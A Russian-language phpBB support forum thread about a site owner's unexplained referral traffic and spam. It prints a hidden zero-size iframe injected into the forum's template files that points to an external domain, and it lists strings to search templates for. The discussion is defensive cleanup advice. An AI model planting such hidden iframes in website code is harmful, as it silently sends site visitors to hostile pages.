странные переходы из форума.

[ps7]

а "тотал" более защищен? ортодоксы мы , дос-интерфейс дюже нравится

[apograph]

более защищен

Да нет. Это я так к слову. Если пароли сохранять, то они в любом FTP-клиенте в открытом виде лежат. В этом плане Линукс надежнее.
А если пароли не храните, то вряд ли в нем дело. Тут либо сам движок (может расширение или мод, или еще что), либо дыра у хостера.

[ps7]

версия форума 3.0.14 стоит.. ну а то что кто-то (или даже какая-то прога) тупо засылает в личку пользователям спам .. как вам такая версия? и как защититься, если это на самом деле так.

у меня уже давно настроена активация пользователей из под админа. каждого проверяю по базе спамеров, но мог кто-то и проскочить

[apograph]

Для этого и делают новые версии форумов. Безопасность тут играет не последнюю роль.

[southklad]

apograph, у меня через тотал попал давно вирус на сайт. Сейчас пользую FileZilla и не знаю проблем

[Sumanai]

Если на ПК зоопарк, то никакая программа не поможет.

[Татьяна5]

Для этого и делают новые версии форумов

В 3.0.14 безопасность на высоте, чего не скажешь о некоторых последующих версиях
А вот про моды/расширения ничего сказать невозможно

[ps7]

Если на ПК зоопарк, то никакая программа не поможет.

дык нет зоопарка! все в порядке.

[Sumanai]

все в порядке.

Почему вы так решили?

[ps7]

потому что стоит вполне нормальный антивирус, + периодически дрвеб кюрит проверяю сплошняком комп...

[Sumanai]

потому что стоит вполне нормальный антивирус

Не показатель.

периодически дрвеб кюрит

Загрузочный диск? Иначе тоже ничего не покажет.

[Likbezz]

А вот про моды/расширения ничего сказать невозможно

Про расширения сказать можно только одно - БУДЬТЕ ВНИМАТЕЛЬНЫ.
Иногда такой мусор попадается..
Не ленитесь просмотреть, хотя бы визуально, файлы на наличие сторонних включений, подозрительных или зашифрованых строк и тп.. - кто, хотя бы чуть-чуть в теме..
Ну а те, кто не в теме - скачиваете только с официальных источников)

Отправлено спустя 13 минут 52 секунды:

вобщем в этих файлах обнаружилась вот такая добавочка... надеюсь то что я ее сюда вставлю никому это не навредит?..

Интересная конструкция..

зайти на эти сайты не получается.. но переходы есть ! откуда они берутся ??!! и что это за сайты?

Старые домены, сейчас не работат..
А переходы беркутся из фрейма, который зашифрован в этом коде:

Код: Выделить всё

<div style="visibility:hidden"><iframe src="http://allevorun.biz/kokovs/sv777/index.php" width=0 height=0></iframe></div>

Иногда попадаются такие конструкции, и как просто в коде шаблонов, чисто в наглую, так и в шифрованом виде в php файлах.
И что бы процентов на 90 обезопасить себя - достаточно просто визуально просмотреть файлы на наличие шифрованых строк, их видно невооруженным взглядом, а также пройтись нотпадом++ на предмет none, hidden, absolute, <script, <iframe, <object и прочей мути, что очень любят пихать в шаблоны..

[ps7]

Likbezz,
спасибо!

вспомнил что добавлял BBCodes для вставки видео с ютюба в сообщения. бралось с этого сайта, вот этот код... он нормальный?

<div class='bbvideo' data-url='{URL}' style='width: 640px; height: 390px; margin: 2px 0; display: inline-block; background: #000; color: #fff; overflow: hidden; vertical-align: bottom;'><div style='height: 100%;'><script>if (typeof bbmedia == 'undefined') { bbmedia = true; var e = document.createElement('script'); e.async = true; e.src = 'http://phpbbex.com/api/bbmedia.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(e, s); }</script></div><div style='text-align: right; height: 14px; margin-top: -14px; padding-right: 2px; font: 10px/10px Verdana; color: #555;'><a style='color: #555; text-decoration: none;' href='http://phpbbex.com/' target='_blank'>phpBB &#91;video&#93;</a></div></div>

еще установлено 2 мода
один ReIMG Image Resizer configuration
и еще "Благодарности" , все скачивалось так же с этого сайта...
больше ничего в форум не ставилось.

[Likbezz]

бралось с этого сайта, вот этот код... он нормальный?

Нормальный (я бы, конечно, для себя написал по другому), но скрипт, желательно иметь на своем сервере.
То бишь, переходите по ссылке: _http://phpbbex.com/api/bbmedia.js скачиваете его себе, заливаете и меняете в BB кодах предыдущую ссылку на свою.
И вот это:

Код: Выделить всё

<a style='color: #555; text-decoration: none;' href='http://phpbbex.com/' target='_blank'>phpBB &#91;video&#93;</a>

На вот это:

Код: Выделить всё

<a rel='nofollow' style='color: #555; text-decoration: none;' href='http://phpbbex.com/' target='_blank'>phpBB &#91;video&#93;</a>

А еще лучше, попросите знакомого отредактировать скрипт так, что бы можно было убрать эту ссылку вообще.
Ибо, копирайт копирайтом, но в каждом сообщение - это ПЕРЕБОР.

[Татьяна5]

Likbezz, и код перестаёт работать. Там проверка наличия копирайта есть